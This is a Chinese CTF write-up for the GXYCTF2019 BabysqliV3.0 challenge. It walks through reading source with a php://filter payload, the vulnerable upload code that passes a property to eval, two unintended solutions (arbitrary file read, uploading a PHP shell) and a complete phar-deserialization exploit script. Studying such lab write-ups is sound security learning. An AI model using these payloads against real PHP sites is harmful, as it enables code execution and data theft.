[GXYCTF2019]BabysqliV3.0题解
2021/11/13 2:41:28
本文主要是介绍[GXYCTF2019]BabysqliV3.0题解,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
[GXYCTF2019]BabysqliV3.0
常规分析
题目叫babysqli,刚访问的时候会有一个登录页面,于是我用测了测sql注入,毫无收获。
最后发现是弱口令,账号admin,密码password。
登录进去以后是这样的:
url末尾是file=的形式,怀疑是文件包含,并且自动在xxx后面加.php。
将file=后面的参数改为php://filter/read=convert.base64-encode/resource=home,解码后得到home.php的内容。
<?php session_start(); echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>"; error_reporting(0); if(isset($_SESSION['user'])){ if(isset($_GET['file'])){ if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){ die("hacker!"); } else{ if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){ $file = $_GET['file'].".php"; } else{ $file = $_GET['file'].".fxxkyou!"; } echo "当前引用的是 ".$file; require $file; } } else{ die("no permission!"); } } ?>
同理可得到upload.php的内容。
<?php error_reporting(0); class Uploader{ public $Filename; public $cmd; public $token; function __construct(){ $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $ext = ".txt"; @mkdir($sandbox, 0777, true); if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; } $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';"; $this->token = $_SESSION['user']; } function upload($file){ global $sandbox; global $ext; if(preg_match("[^a-z0-9]", $this->Filename)){ $this->cmd = "die('illegal filename!');"; } else{ if($file['size'] > 1024){ $this->cmd = "die('you are too big (′▽`〃)');"; } else{ $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; } } } function __toString(){ global $sandbox; global $ext; // return $sandbox.$this->Filename.$ext; return $this->Filename; } function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } //cmd可以被执行 但是需要token eval($this->cmd); } } if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); } } ?>
代码中给了一个class,怀疑可能是一道反序列化的题目,没有反序列化函数但是又涉及到文件上传,基本可以确定是一道phar反序列化题目。
反序列化题目一般可用的点主要是各个魔术方法,本题目中两个魔术方法有可能被利用。
function __toString(){ global $sandbox; global $ext; // return $sandbox.$this->Filename.$ext; return $this->Filename; } function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } //cmd可以被执行 但是需要token eval($this->cmd); }
可以很明显的看到__destruct魔术方法中存在eval,有机会被利用。当然,__toString魔术方法也有机会。
非预期1
__toString魔术方法被调用了,该方法返回一个文件名,如果存在读取文件的操作,也可能被利用。刚好file_get_contents方法触发了该方法,因此可以通过将Filename参数改为flag的路径来读取flag信息。
if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); } }
恰好在Uploader类中存在一个可以直接控制Filename的方法:
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; }
用户可以自己传一个name参数作为Filename,并且过滤也并没有限制读取flag。
接下来的过程就比较简单了,访问/home.php?file=upload&name=/var/www/html/flag.php,然后随便上传一个符合要求的文件,即可得到flag。
非预期2
这个题,上传的时候并没有过滤PHP,还可以指定上传的文件名。所以,直接上传个PHP文件,即可执行命令。本文传了一个写有phpinfo的文件进行测试,上传的文件为a.php。
上传的时候url为home.php?file=upload&name=a.php。
上传后访问根目录下的a.php即可。
预期解
预期解应该是对cmd参数的利用,加下来说一下预期解应该怎么做。
cmd的利用在destruct魔术方法中,要想利用cmd必须绕过对token的比较。
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; } $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';"; $this->token = $_SESSION['user'];
根据上述代码可知,token来自于\(_SESSION['user']中,而如果用户不自己传递name的值,则Filename的值中会包含\)_SESSION['user']。因此我们可以先随便上传一个文件,不传递name参数,这样就可以拿到$_SESSION['user']。
前面提到,这看起来是一个标准的phar反序列化题目,可以上传文件,没有限制phar协议读取文件,并且有一个可以被利用的类。接下来就是控制class中各个参数的值,生成一个phar文件并访问,触发命令执行,从而得到flag。
exp
<?php error_reporting(0); class Uploader{ public $Filename = 'aaa'; //可以先用phpinfo等函数测试一下 public $cmd = 'echo file_get_contents("/var/www/html/flag.php");'; public $token = 'GXY88cc1f1606f74121a99dd1de5560b585'; } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Uploader(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
将生成的phar文件上传,利用phar协议访问url即可。
下图分别是用phpinfo测试的结果和最终得到flag的结果。
这篇关于[GXYCTF2019]BabysqliV3.0题解的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2025-01-05Easysearch 可搜索快照功能,看这篇就够了
- 2025-01-04BOT+EPC模式在基础设施项目中的应用与优势
- 2025-01-03用LangChain构建会检索和搜索的智能聊天机器人指南
- 2025-01-03图像文字理解,OCR、大模型还是多模态模型?PalliGema2在QLoRA技术上的微调与应用
- 2025-01-03混合搜索:用LanceDB实现语义和关键词结合的搜索技术(应用于实际项目)
- 2025-01-03停止思考数据管道,开始构建数据平台:介绍Analytics Engineering Framework
- 2025-01-03如果 Azure-Samples/aks-store-demo 使用了 Score 会怎样?
- 2025-01-03Apache Flink概述:实时数据处理的利器
- 2025-01-01使用 SVN合并操作时,怎么解决冲突的情况?-icode9专业技术文章分享
- 2025-01-01告别Anaconda?试试这些替代品吧